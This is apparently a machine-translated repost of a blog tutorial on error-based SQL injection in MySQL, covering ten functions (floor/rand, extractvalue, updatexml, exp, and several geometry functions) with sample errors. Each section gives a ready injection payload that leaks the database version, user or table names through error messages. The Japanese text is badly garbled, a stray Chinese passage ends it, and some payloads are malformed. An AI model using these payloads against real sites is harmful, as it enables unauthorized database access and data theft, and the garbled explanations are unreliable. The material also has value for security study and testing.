テンMySQLエラー機能

1.Floor()

ラウンド()のような小数点以下、指定された数に元の値に追従するように丸め:ラウンド(1.45,0)= 1;ラウンド(1.55,0)= 2
フロア()として指定した桁数に切り捨て:フロア( 。。; 1.45,0)= 1階(1.55,0)1 =
天井を()のような小数点以下の指定された数に切り上げられ:天井(1.45,0)= 2;天井(1.55,0)= 2

フロア(x)は、x以下の最大の整数を返します。

xは0と1の間の乱数を生成するために連結(データベース()、ランド(0)* 2)、ランド(0)0ランダムシード、* 2は0-2の間の乱数を生成を表します。

た理由:必要な主キーを複製:数()、ランド()、によってグループ

ペイロード:

id=1 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.ExtractValue()

ExtractValue(xml_frag, xpath_expr)ExtractValue()これは、2つの文字列引数、XMLタグの断片受け付けxml_fragとXPath式xpath_expr(また、ロケータと呼ばれる)を、それが返さCDATA子要素ノードであるテキストノード()のテキスト要素XPath式と一致します。

最初のパラメータはターゲットXMLファイルを渡すことができ、第二のパラメータは、検索パスのXpathパス法で表され

例えば:SELECT ExtractValue('<a><b><b/></a>', '/a/b');それは、XPath構文形式誤記ならば、それはエラーであろうノードの前項XML文書の内容下bノードを見つけることです。ここでは、知って欲しいものを得るためにこの機能を使用することです。

ペイロード:

id=1 and extractvalue(1, concat(0x7e, (select table_name from information_schema.tables limit 1)));

3.UpdateXml()

UPDATEXML (XML_document, XPath_string, new_value);

第一引数:XML_documentがString形式、XMLドキュメントオブジェクトの名前、ドキュメントのテキストであります

第二引数:XPath構文を理解していない場合XPath_string(XPath文字列の形式は)、あなたは、オンラインチュートリアルを見つけることができます。

第三引数:資格見つけるために、データを交換するNEW_VALUE、文字列の形式で、

そして、我々の注入文は次のとおりです。

id=1 and 1=(updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1))

前記連結ストリングに接続されている()関数は、それがXPATH_stringフォーマットに準拠しないので、不正なバーストがあります

ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'

4.Exp()

expが底eと指数関数です、

mysql> select exp(1);
+-------------------+
| exp(1)            |
+-------------------+
| 2.718281828459045 |
+-------------------+
1 row in set (0.00 sec)

ただし、数値はオーバーフローするくらいです。パラメータが709よりも大きい場合、この関数は、エラーをオーバーフローします。

mysql> select exp(709);
+-----------------------+
| exp(709)              |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

0ビット単位は「18446744073709551615」を返し、機能の実行が成功と相まって0の酒を返し、関数は、我々が正常に実行されます符号なしBIGINTの最大値を取得するために反転します。

mysql> select ~0;
+----------------------+
| ~0                   |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec) 


mysql> select ~(select version());
+----------------------+
| ~(select version())  |
+----------------------+
| 18446744073709551610 |
+----------------------+
1 row in set, 1 warning (0.00 sec)

我々サブクエリはDOUBLEオーバーフローエラーで、従ってデータを注入することによって得られ、否定ビット。

mysql> select exp(~(select * from(select database())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select `x`.`database()` from (select database() AS `database()`) `x`)))'

スクリプト言語では、それはこのように、対応する文字列に表現のいくつか間違っていることになります。

DOUBLE value is out of range in 'exp(~((select 'error_based_hpf' from dual)))'

したがって、エラー注入を実現します。

ペイロード:

id=1 and exp(~(select * from(select user())a));

5.GeometryCollection()

ジオメトリコレクションの複数のワード線は、(折れ線ポイントを使用する場合、単一の点が直接この線上の点を保存する)、(X、Y)を表す座標を使用している場合、ポイント方式で格納:の理解。

ペイロード:

id=1 and GeometryCollection(()select *from(select user())a)b);

6.Polygon()

多角形のポリゴンを充填電流ブラシとポリゴン充填モードと、電流引き込みストローク多角形プロファイルで、臭いから直線を描画する位相関数の2つ以上でポリゴンの頂点。

図に示すように:

  1. 図1は、外側の境界によって定義された環であるポリゴンインスタンス。
  2. 図2は、内側リング二つの外側境界によって画定されるループであるポリゴンインスタンス。内側リング内の領域であるポリゴンの外輪の一例の一部。
  3. 図3は、有効であるポリゴンの内側の環の単接点で交差するので、インスタンス。

ペイロード:

id =1 and polygon((select * from(select * from(select user())a)b));

この点は、注入後の注入点を制限することが理解できます

7.MultiPoint

マルチポイントはゼロ点以上の点の集合です。マルチポイントのボーダーインスタンスは空です。

ペイロード:

id = 1 and multipoint((select * from(select * from(select user())a)b));

8.MultiLineString()

MULTILINESTRINGゼロまたはそれ以上の幾何学的またはgeographyLineStringインスタンスのセットを。

図に示すように:

  • 図1は、単純示すMultiLineStringの二つの境界であり、例えば、折れ線 4つの端点要素。
  • 図2は、単純示すMultiLineStringのの理由だけで、例を折れ線端要素が交差します。境界は、2つのエンドポイントをオーバーラップされていません。
  • 図3は、単純に示しているMultiLineStringのそのの一つとして、例を折れ線内側要素の交差が現れ。この複数折れ線ボーダーインスタンスは4つのエンドポイントです。
  • 図4は、単純な、非閉鎖示すMULTILINESTRINGインスタンス。
  • 図5は、単純な、非閉鎖示すMultiLineStringのをそのため、それは閉じられていないラインストリングの要素が閉じていません。それがどんなであるという単純な理由ながらラインストリング内部のインスタンスが交差する表示されません。
  • 図6は、単純示され、閉じいるMultiLineStringのインスタンス。そのすべての要素が閉じているので、それが閉じられています。そのすべての要素が交差現象の中に発見されていないという単純な理由ながら。

ペイロード:

id = 1 and multilinestring((select * from(select * from(select user())a)b));

9.LineString

ラインストリングは、点と、これらの点を結ぶ線分の系列を表す一次元オブジェクトです。

図に示すように:

  • 図1は、単純な、非閉鎖示す折れ線インスタンス。
  • 図2は、単純な、非閉鎖示す折れ線インスタンス。
  • 図3を閉じ、簡単に示されたLineString例えば、こうして環です。
  • 図4は、クロージャではなく、単純示したLineStringインスタンスを、従ってリングありません。

ペイロード:

id = 1 and LINESTRING((select * from(select * from(select user())a)b));

10.MultiPolygon()

MultiPolygonののゼロ以上の例ポリゴンインスタンスのセット。

図に示すように:

  • 图 1 是一个包含两个 Polygon 元素的 MultiPolygon 实例。 边界由两个外环和三个内环界定。
  • 图 2 是一个包含两个 MultiPolygon 元素的 Polygon 实例。 边界由两个外环和三个内环界定。 这两个 Polygon 元素在切点处相交。

おすすめ

転載: www.cnblogs.com/zztac/p/11441292.html